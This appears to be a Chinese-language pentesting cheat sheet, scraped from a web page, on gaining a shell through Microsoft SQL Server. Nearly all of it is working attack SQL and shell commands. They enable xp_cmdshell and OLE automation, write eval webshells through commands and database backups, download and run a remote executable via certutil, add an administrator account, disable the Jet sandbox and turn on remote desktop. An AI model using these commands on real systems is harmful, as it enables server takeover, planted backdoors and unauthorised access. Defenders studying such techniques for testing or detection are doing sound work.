mssql-getshell

来源:独自等待知乎github

xp_cmdshell

第一种:在SQL Server 2005之前版本中,xp_cmdshell是默认开启的,因此可以直接利用,执行系统命令

exec master..xp_cmdshell 'whoami';

第二种:先判断是否存在xp_cmdshell存储过程,返回1表示存在,否则表示不存在

select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';

xp_cmdshell是有可能被管理员手动删除的(尤其是SQL Server2005之前默认开启的版本),以下是删除xp_cmdshell的命令:

exec master..sp_dropextendedproc xp_cmdshell;

当然,即使xp_cmdshell被删除,也是有办法恢复xp_cmdshell的:

exec master..xp_dropextendedproc xp_cmdshell,@dllname='xplog70.dll' declare @o int;

注意:再丧心病狂的管理员,可能连xplog70.dll文件都删除,因此需要手动删除该文件,然后使用绝对路径引用即可:

exec master.dbo.sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll的文件绝对路径' declare @o int;

在SQL Server 2005之后的版本中,xp_cmdshell是默认关闭的,因此需要手动开启,但是开启xp_cmdshell需要sa权限,所以还是比较苛刻的

# 允许修改高级参数
exec sp_configure 'show advanced options',1;
# 配置生效
RECONFIGURE;
# 开启xp_cmdshell
exec sp_configure 'xp_cmdshell',1;
# 配置生效
RECONFIGURE;

检查xp_cmdshell是否开启

exec sp_configure;

执行系统命令

exec master..xp_cmdshell 'whoami';

获取webshell,此处注意><符号的转义,网页编码和数据库编码一般是相同的,中文一般都要URL编码

exec master..xp_cmdshell 'echo  ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\WWW\\233.aspx'

获取webshell,通过windows的多种cmd下载文件的方式,下载远程的可执行文件,通过该方式可用于反弹shell

# 下载恶意程序
exec master.dbo.xp_cmdshell 'cd c:\\www & certutil -urlcache -split -f http://ip/file.exe';
执行程序
exec master.dbo.xp_cmdshell 'cd c:\\www & file.exe';

使用结束后,可自行关闭xp_cmdshell

# 开启高级选项
exec sp_configure 'show advanced options',1;
# 配置生效
RECONFIGURE;
# 关闭xp_cmdshell
exec sp_configure 'xp_cmdshell',0;
# 配置生效
RECONFIGURE;

数据库差异备份getshell

备份拿shell算是常见,但往往备份后包含木马的文件很大。

注意:目标路径必须有写权限

# 查看要创建的临时表是否被占用
IF EXISTS(select table_name from information_schema.tables where table_name='temp') drop table temp;
# 将数据库备份至文件中
backup database db_name to disk = "目标文件路径.bak";
# 创建临时表
create table test (a image);
# 写入木马
insert into test(a) values(0x3C25657865637574652872657175657374282261222929253E);
# 重新备份,木马写入文件
backup database db_name to disk = '目标文件路径.asp' with differential,format;

日志差异备份getshell

可不需要sa权限,如果不能备份,可能是访问权限问题,可切换目录尝试;如果临时表存在也可能导致失败,可先判断临时表是否存在,再尝试。

条件:

  1. 数据库之前备份过
  2. 恢复模式是完整模式
  3. 目标路径有写权限
# 查看要创建的临时表是否被占用
IF EXISTS(select table_name from information_schema.tables where table_name='temp') drop table temp;
# 将数据库的恢复模式设置为完整模式
alter database db_name set RECOVERY FULL;
# 创建临时表
create table temp (a image);
# 备份数据库日志,并写入文件中
backup log db_name to disk = '任意绝对路径.bak' with init;
# 在临时表中插入木马字符串
insert into temp (a) values (0x3C25657865637574652872657175657374282261222929253E);
# 将含有木马字符串的日志备份写入文件中
backup log db_name to disk = '木马的绝对路径.aspx';

sp_oacreate

当xp_cmdshell被删除时,可以尝试使用这个来提权

原理

利用OLE对象接口,SQL Server提供了一些函数访问OLE对象,分别是sp_oacreate和sp_oamethod,可利用它们调用OLE控件,间接获取一个shell

预准备工作

检查OLE Automation Procedures状态

exec sp_configure 'Ole Automation Procedures';

如果config_value和run_value都为0,表示禁用

启用OLE Automation Procedures

# 允许修改高级参数
exec sp_configure 'show advanced options',1;
# 配置生效
reconfigure;
# 开启Ole Automation Procedures
exec sp_configure 'Ole Automation Procedures',1;
# 配置生效
reconfigure;
# 关闭高级参数
exec sp_configure 'show advanced options',0;

wscript.shell

在SQL Server 2008和SQL Server 2000上都适用

# 声明一个变量
declare @shell int;
# 使用sp_oacreate调用wscript对象
exec sp_oacreate 'wscript.shell',@shell output;
# 使用sp_oamethod调用变量的属性run执行系统命令
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user test test /add';

整合一下:添加用户 test/test

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user test test /add'

整合一下:添加用户到管理员组

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators test /add'

Shell.Application

SQL Server 2008不可用,SQL Server 2000可用

整合一下:添加用户 test/test

declare @o int;
exec sp_oacreate 'Shell.Application', @o out;
exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user test test /add','c:\windows\system32','','1';

sp_makewebtask

SQL Server2008不可用,SQL Server2000可用(未验证)

恢复xp_makewebtask存储过程

exec sp_configure 'Web Assistant Procedures', 1;
RECONFIGURE;

getshell

exec sp_makewebtask 'C:\test1.php','select''<%execute(request("SB"))%>''';

沙盒模式

只有windows xp和windows 2003可用

启用Ad Hoc Distributed Queries

exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',1;
reconfigure

关闭沙盒模式

0:在任何使用者中禁用启用安全模式

1:仅在允许范围内

2:必须在access模式下

3:完全开启

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;

读取SandBoxMode[可选]

exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode';

执行系统命令:添加用户 test/test

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user test test /add")');
select * from
openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select
shell("cmd.exe /c whoami")')

mssql-远程桌面

  1. 是否开启远程桌面,1表示关闭,0表示开启

    exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections'
  2. 读取远程桌面端口

    EXEC master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal
    Server\WinStations\RDP-Tcp','PortNumber'
  3. 开启远程桌面

    EXEC master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
  4. reg文件开启远程桌面

    Windows Registry Editor Version 5.00HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
    Server]"fDenyTSConnections"=dword:00000000[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
    Server\WinStations\RDP-Tcp]"PortNumber"=dword:00000d3d

    保存至1.reg,执行regedit /s 1.reg,即可开启远程桌面

    注意:如果是第一次开启远程桌面,部分需要配置防火墙规则允许远程端口

    netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
  5. 关闭远程桌面

    EXEC master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',1;

MSSQL渗透测试的更多相关文章

  1. 详述MSSQL服务在渗透测试中的利用(上篇)

    前言: 致力于复现最实用的漏洞利用过程. 本文将带领大家学习以下内容: 学习使用`xp_cmdshell`扩展存储过程 学习调用`wscript.shell` 学习MSSQL写文件 学习沙盘模式提权 ...

  2. 渗透测试学习 九、 MSsql注入上

    MSsql注入漏洞详解 (Asp.Aspx站,常见于棋牌网站.考试网站.大学网站.政府网站.游戏网站.OA办公系统) 大纲:msSQL数据库调用分析 msSQL注入原理 msSQL注入另类玩法 msS ...

  3. KALI LINUX WEB 渗透测试视频教程—第十九课-METASPLOIT基础

    原文链接:Kali Linux Web渗透测试视频教程—第十九课-metasploit基础 文/玄魂 目录 Kali Linux Web 渗透测试视频教程—第十九课-metasploit基础..... ...

  4. Kali Linux Web 渗透测试视频教程— 第十三课-密码破解

    Kali Linux Web 渗透测试— 第十三课-密码破解 文/玄魂 目录 Kali Linux Web 渗透测试— 第十三课-密码破解............................... ...

  5. metasploit渗透测试笔记(内网渗透篇)

    x01 reverse the shell File 通常做法是使用msfpayload生成一个backdoor.exe然后上传到目标机器执行.本地监听即可获得meterpreter shell. r ...

  6. 读书笔记 ~ Nmap渗透测试指南

    记录Nmap选项及脚本使用,仅供参考... 除了端口扫描,好像其它脚本都比较鸡肋,用途感觉应该没有专用的小工具好用,不过还是可以看看,选项和脚本还是相当的丰富的. Nmap 使用帮助 starnigh ...

  7. Nmap渗透测试使用方法

    Nmap渗透测试使用方法 目标选择2 端口选择2 操作系统和服务检测2 Nmap输出格式2 用NSE脚本深入挖掘2 HTTP服务信息3 检测SSL漏洞问题的主机3 设备扫描3 按VNC扫描5 按SMB ...

  8. Web渗透测试流程

    什么是渗透测试? 渗透测试 (penetration test)并没有一个标准的定义,国外一些安全组织达成共识的通用说法是:渗透测试是通过模拟恶意黑客的攻击方法,来评估计算机网络系统安全的一种评估方法 ...

  9. 渗透测试学习 十三、 SQLmap使用详解

    SQLmap介绍 sqlmap是一个由python语言编写的开源的渗透测试工具,它主要是检测SQL注入漏洞,是一款功能强大的SQL漏洞检测利用工具. 他可以检测的数据库有:access.msSQL.M ...

随机推荐

  1. 面经分享:看非科班研究生如何转行斩获 ATM 大厂的 Offer ?

    前言 先介绍一下自己的情况吧,本科和研究生都是通信专业,本科是某 Top2,研究生是香港某大学.了解了通信行业的就业情况和工作内容后,大概今年3月份的时候开始想转互联网. 本人相关的基础情况是:学校学 ...

  2. Java9系列第8篇-Module模块化编程

    我计划在后续的一段时间内,写一系列关于java 9的文章,虽然java 9 不像Java 8或者Java 11那样的核心java版本,但是还是有很多的特性值得关注.期待您能关注我,我将把java 9 ...

  3. 正式班D13

    2020.10.22星期四 正式班D13 修改文件内容 vim编辑 vim基础 可理解为Windows下的文本编辑器 vim可用来修改配置.写脚本 三种模式(命令模式.输入模式.末行模式) 命令模式按 ...

  4. 一个基于canvas的移动端图片编辑器

    欢迎使用 canvas_mobile_drag 项目地址:https://github.com/xiaosu95/canvas_mobile_drag 点击查看demo(在移动端上查看) 该插件是一款 ...

  5. 腾讯云服务器简单搭建并部署WEB文件

    废话不多说直接上图 提前准备以下软件 1. Xshell6 链接你的服务器用 2. FileZilla 上传文件使用 首先你得有服务器吧,去某云买一个,我买的额配置如下 然后去控制台---登录  修改 ...

  6. 使用 Filebeat 对多行日志进行处理(multiline)

    Filebeat 收集日志的过程中,默认是按行收取的,也就是每一行都会默认是一个单独的事件并添加时间戳.但是在收集一些特殊日志的时候,往往一个事件包含有多行,例如 Java 的堆栈跟踪日志: 20-0 ...

  7. 初识ABP vNext(12):模块的独立运行与托管

    Tips:本篇已加入系列文章阅读目录,可点击查看更多相关文章. 目录 前言 开始 模块运行 动态 C# API 客户端 最后 前言 很久没更新这个系列...之前的章节中讲到ABP的模块是可以独立运行的 ...

  8. 卸载联软UniAccess,删除UniAccess Agent记录

    UniAccess 卸载 事情起因: 公司假以安全上网为由,让公司员工安装所谓的"XX上网助手",实则是内嵌了联软的UniAccess监控系统. 有关这个软件的用途就不用多介绍了, ...

  9. 开发工具:Mybatis.Plus.插件三种方式的逆向工程

    本文源码:GitHub·点这里 || GitEE·点这里 一.逆向工程简介 在Java开发中,持久层最常用的框架就是mybatis,该框架需要编写sql语句,mybatis官方提供逆向工程,可以把数据 ...

  10. 初始化vue项目

    1.创建vue项目命令 vue init webpack deaxios # 使用脚手架创建项目 deaxios(项目名,随便取得) cd deaxios # 进入项目 npm install axi ...